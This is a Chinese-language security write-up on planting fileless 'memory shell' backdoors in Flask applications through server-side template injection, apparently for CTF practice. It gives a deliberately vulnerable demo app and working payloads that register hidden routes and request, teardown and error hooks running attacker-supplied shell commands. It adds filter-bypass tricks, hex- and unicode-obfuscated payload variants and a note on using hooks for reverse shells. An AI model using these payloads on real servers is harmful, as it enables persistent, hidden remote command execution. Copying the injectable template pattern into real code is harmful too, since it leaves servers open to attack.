flask内存马

基础原理

1.1Webshell的技术历程

web服务器管理页面——> 大马——>小马拉大马——>一句话木马——>加密一句话木马——>加密内存马

1.2什么是内存马

内存马是一种无文件Webshell,简单来说就是服务器上不会存在需要链接的webshell脚本文件。内存马的原理就是在web组件或者应用程序中,注册一层访问路由,访问者通过这层路由,来执行我们控制器中的代码,一句话就能概括,那就是对访问路径映射及相关处理代码的动态注册。

demo

测试源码:

from flask import Flask, request, render_template_string

app = Flask(__name__)

@app.route('/')
def hello_world(): # put application's code here
person = 'knave'
if request.args.get('name'):
person = request.args.get('name')
template = '<h1>Hi, %s.</h1>' % person
return render_template_string(template)


if __name__ == '__main__':
app.run()

对于flask框架的内存马有很多,

一、app.route

调用底层方法:app.add_url_rule

一般flask中注册路由是利用的@app.route修饰器, 跟进则这个修饰其,发现其调用了方法add_url_rule()方法。

QQ截图20240519194105

ps:web菜:rooster:的我在一开始调试时是这样打的断点:

QQ截图20240519202700

但是直接跳入了另一个方法,后面深入了解了一下修饰器与语法糖(修饰器就是一种语法糖):

语法糖(Syntactic Sugar):语法糖是指一种编程语言的语法特性,它并不会引入新的功能,而是为了让代码更易读、更简洁。语法糖可以让程序员用更简洁的语法来表达相同的逻辑。在Python中,一些常见的语法糖包括列表推导式、字典推导式、装饰器等。
修饰器(Decorator):修饰器本质上是一个函数,它接受一个函数作为参数,并返回一个新的函数。修饰器可以用来包装、修改或者扩展原函数的功能。
在Python中,修饰器通常使用@符号来应用到函数上,这种语法就是一种语法糖

QQ截图20240519202355

这里在add_url_rule前面加上了@,那么在执行add_url_rule方法时就会跳转到方法setupmethod,所以这里打断点不起作用的,在setupmethod内部依然会执行add_url_rule的内容。

除开上面的菜:rooster:题外话,总之就是可以调用add_url_rule进行路由设置(当然有flak版本限制),payload:

url_for.__globals__['__builtins__']['eval']("app.add_url_rule('/shell', 'shell', lambda :__import__('os').popen(_request_ctx_stack.top.request.args.get('cmd', 'whoami')).read())",{'_request_ctx_stack':url_for.__globals__['_request_ctx_stack'],'app':url_for.__globals__['current_app']})

app.add_url_rule('/shell', 'shell', lambda :__import__('os').popen(_request_ctx_stack.top.request.args.get('cmd', 'whoami')).read())这句代码就是利用方法add_url_rule方法来进行动态路由添加

{'_request_ctx_stack':url_for.__globals__['_request_ctx_stack'],'app':url_for.__globals__['current_app']})就是声明app_request_ctx_stack,让上面的代码能够找到,

request_ctx_stack.top.request.args.get这个的话就是利用request_ctx_stack.top获取请求上下文,request.args.get获取get请求函数就行。

实际应用中往往都存在过滤, 因此了解如何绕过还是必要的.

url_for可替换为get_flashed_messages或者request.__init__或者request.application.
代码执行函数替换, 如exec等替换eval.
字符串可采用拼接方式, 如['__builtins__']['eval']变为['__bui'+'ltins__']['ev'+'al'].
__globals__可用__getattribute__('__globa'+'ls__')替换.
[]可用.__getitem__()或.pop()替换.
过滤{{或者}}, 可以使用{%或者%}绕过, {%%}中间可以执行if语句, 利用这一点可以进行类似盲注的操作或者外带代码执行结果.
过滤_可以用编码绕过, 如__class__替换成\x5f\x5fclass\x5f\x5f, 还可以用dir(0)[0][0]或者request['args']或者request['values']绕过.
过滤了.可以采用attr()或[]绕过.
其它的手法参考SSTI绕过过滤的方法即可...

payload变形1:

request.application.__self__._get_data_for_json.__getattribute__('__globa'+'ls__').__getitem__('__bui'+'ltins__').__getitem__('ex'+'ec')("app.add_url_rule('/h3rmesk1t', 'h3rmesk1t', lambda :__import__('os').popen(_request_ctx_stack.top.request.args.get('shell', 'whoami')).read())",{'_request_ct'+'x_stack':get_flashed_messages.__getattribute__('__globa'+'ls__').pop('_request_'+'ctx_stack'),'app':get_flashed_messages.__getattribute__('__globa'+'ls__').pop('curre'+'nt_app')})

payload变形2:

get_flashed_messages|attr("\x5f\x5fgetattribute\x5f\x5f")("\x5f\x5fglobals\x5f\x5f")|attr("\x5f\x5fgetattribute\x5f\x5f")("\x5f\x5fgetitem\x5f\x5f")("__builtins__")|attr("\x5f\x5fgetattribute\x5f\x5f")("\x5f\x5fgetitem\x5f\x5f")("\u0065\u0076\u0061\u006c")("app.add_ur"+"l_rule('/h3rmesk1t', 'h3rmesk1t', la"+"mbda :__imp"+"ort__('o"+"s').po"+"pen(_request_c"+"tx_stack.to"+"p.re"+"quest.args.get('shell')).re"+"ad())",{'\u005f\u0072\u0065\u0071\u0075\u0065\u0073\u0074\u005f\u0063\u0074\u0078\u005f\u0073\u0074\u0061\u0063\u006b':get_flashed_messages|attr("\x5f\x5fgetattribute\x5f\x5f")("\x5f\x5fglobals\x5f\x5f")|attr("\x5f\x5fgetattribute\x5f\x5f")("\x5f\x5fgetitem\x5f\x5f")("\u005f\u0072\u0065\u0071\u0075\u0065\u0073\u0074\u005f\u0063\u0074\u0078\u005f\u0073\u0074\u0061\u0063\u006b"),'app':get_flashed_messages|attr("\x5f\x5fgetattribute\x5f\x5f")("\x5f\x5fglobals\x5f\x5f")|attr("\x5f\x5fgetattribute\x5f\x5f")("\x5f\x5fgetitem\x5f\x5f")("\u0063\u0075\u0072\u0072\u0065\u006e\u0074\u005f\u0061\u0070\u0070")})

参考:https://xz.aliyun.com/t/10933

二、before_request

调用底层方法:before_request_funcs

在 Flask 中,before_request 是一个装饰器,它用于在请求处理之前执行特定的函数。这个装饰器允许对每个请求进行一些预处理,比如认证检查、日志记录、设置响应头等。

这个函数实际上调用的是self.before_request_funcs.setdefault(None, []).append(f)函数

函数参数意思:

  • 检查 self.before_request_funcs 字典中是否有一个键为 None 的条目。
  • 如果没有 None 键,就在字典中创建它,并将其值设置为一个空列表。
  • 然后,无论 None 键是否存在,都将函数 f 添加到这个列表中。

如果传入:

app.before_request_funcs.setdefault(None, []).append(lambda: "123")

就会将匿名函数lambda添加到列表,简而言之就是我们每次发起请求之前,就会调用这个方法,触发里面定义的函数,

执行后访问页面就会显示123。

payload:

app.before_request_funcs.setdefault(None, []).append(lambda: __import__('os').popen('whoami').read())

or:

app.before_request_funcs.setdefault(None, []).append(lambda: __import__('os').popen(request.args.get('cmd')).read())

可见通过before_request添加内存马这一条路是可行的,但同样会有一点问题,就是使用lambda必然会得到一个返回值,那么服务后续的操作都无法进行,会影响到主机的正常业务。

三、after_request

调用底层方法:after_request_funcs

@app.after_request@app.before_request类似,after_request会在请求结束得到响应包之后进行操作,列如可以添加响应头记录日志。

查看底层源码可以看到其调用方法和before_request类似。self.after_request_funcs.setdefault(None, []).append(f)传入的f就是对应的自定义函数,但这里的f需要接收一个response对象,同时返回一个response对象。

但我们仅通过lambad无法对原始传进来的response进行修改后再返回,所以需要重新生成一个response对象,然后再返回这个response。

payload:

app.after_request_funcs.setdefault(None, []).append(lambda resp: CmdResp if request.args.get('cmd') and exec('global CmdResp;CmdResp=make_response(os.popen(request.args.get(\'cmd\')).read())')==None else resp)
lambda resp: #传入参数
CmdResp if request.args.get('cmd') and #如果请求参数含有cmd则返回命令执行结果
exec('
global CmdResp; #定义一个全局变量,方便获取
CmdResp=make_response(os.popen(request.args.get(\'cmd\')).read()) #创建一个响应对象
')==None #恒真
else resp) #如果请求参数没有cmd则正常返回
#这里的cmd参数名和CmdResp变量名都是可以改的,最好改成服务中不存在的变量名以免影响正常业务

ssti中的利用:

url_for.__globals__['__builtins__']['eval']("app.after_request_funcs.setdefault(None, []).append(lambda resp: CmdResp if request.args.get('cmd') and exec(\"global CmdResp;CmdResp=__import__(\'flask\').make_response(__import__(\'os\').popen(request.args.get(\'cmd\')).read())\")==None else resp)",{'request':url_for.__globals__['request'],'app':url_for.__globals__['current_app']})

先试了下第一个,发现有报错:

改进一下:

app.after_request_funcs.setdefault(None, []).append(lambda resp: CmdResp if request.args.get('cmd') and exec('global CmdResp;CmdResp=__import__(\'flask\').make_response(__import__(\'os\').popen(request.args.get(\'cmd\')).read())')==None else resp)

接下来就是愉快的任意命令执行:

image-20241019230020036

四、teardown_request

调用底层方法:teardown_request_funcs

注册在每一个请求的末尾,不管是否有异常,每次请求的最后都会执行。

这个和before_request很像,payload:

app.teardown_request_funcs.setdefault(None, []).append((lambda x :__import__('os').popen("calc").read())

能执行但是没有回显,用来反弹shell应该不错:

QQ截图20240520131852

不能调用request.args.get()动态执行传入的命令,但是可以执行注入的代码.每次刷新网页都会执行.原因是这个装饰器的触发是在请求被销毁后的.在这个时候上一个HTTP请求帧已经被销毁了,但是可以执行静态命令。

五、teardown_appcontext

不管是否有异常,注册的函数都会在每次请求之后执行.flask 为上下文提供了一个teardown_appcontext钩子,使用它注册的毁掉函数会在程序上下文被销毁时调用,通常也在请求上下文被销毁时调用.某些情况下这个函数和

payload:

app.teardown_appcontext_funcs.append(lambda x :__import__('os').popen("calc").read())

同样不能调用request.args.get()动态执行传入的命令,但是可以执行注入的代码.每次刷新网页都会执行.原因是这个装饰器的触发是在请求被销毁后的.不然会报错

六、errohandler

参考:https://www.cnblogs.com/gxngxngxn/p/18181936

payload:

exec("global exc_class;global code;exc_class, code = app._get_exc_class_and_code(404);app.error_handler_spec[None][code][exc_class] = lambda a:__import__('os').popen(request.args.get('cmd')).read()")

这个方法还是非常好用的并且有回显。

需要注意这里用的下是exec,因为eval并不能执行python语句

总结:

上面的app除了利用ssti来获得也可以sys.modules['__main__'].__dict__['app']

app.route有flask版本限制,只能在低版本才能成功,剩下的四个目前都行。

参考:https://xz.aliyun.com/t/14421

例题